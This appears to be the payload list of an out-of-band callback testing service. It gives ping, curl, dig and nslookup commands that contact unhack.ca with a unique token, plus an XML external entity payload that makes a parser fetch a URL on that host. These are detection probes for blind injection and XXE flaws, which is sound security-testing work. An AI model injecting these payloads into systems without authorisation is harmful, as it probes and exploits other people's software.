$ ping -c1 -p 005f00103b70d6fbd4a139bcab5be300 unhack.ca
 

$ curl http://unhack.ca/p/5f00103b70d6fbd4a139bcab5be3
 

$ dig 5f00103b70d6fbd4a139bcab5be3 @unhack.ca
 

$ dig 5f00103b70d6fbd4a139bcab5be3.ns.unhack.ca
 

C:\> nslookup 5f00103b70d6fbd4a139bcab5be3 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f00103b70d6fbd4a139bcab5be3">]>
    <foo>&xxe;</foo>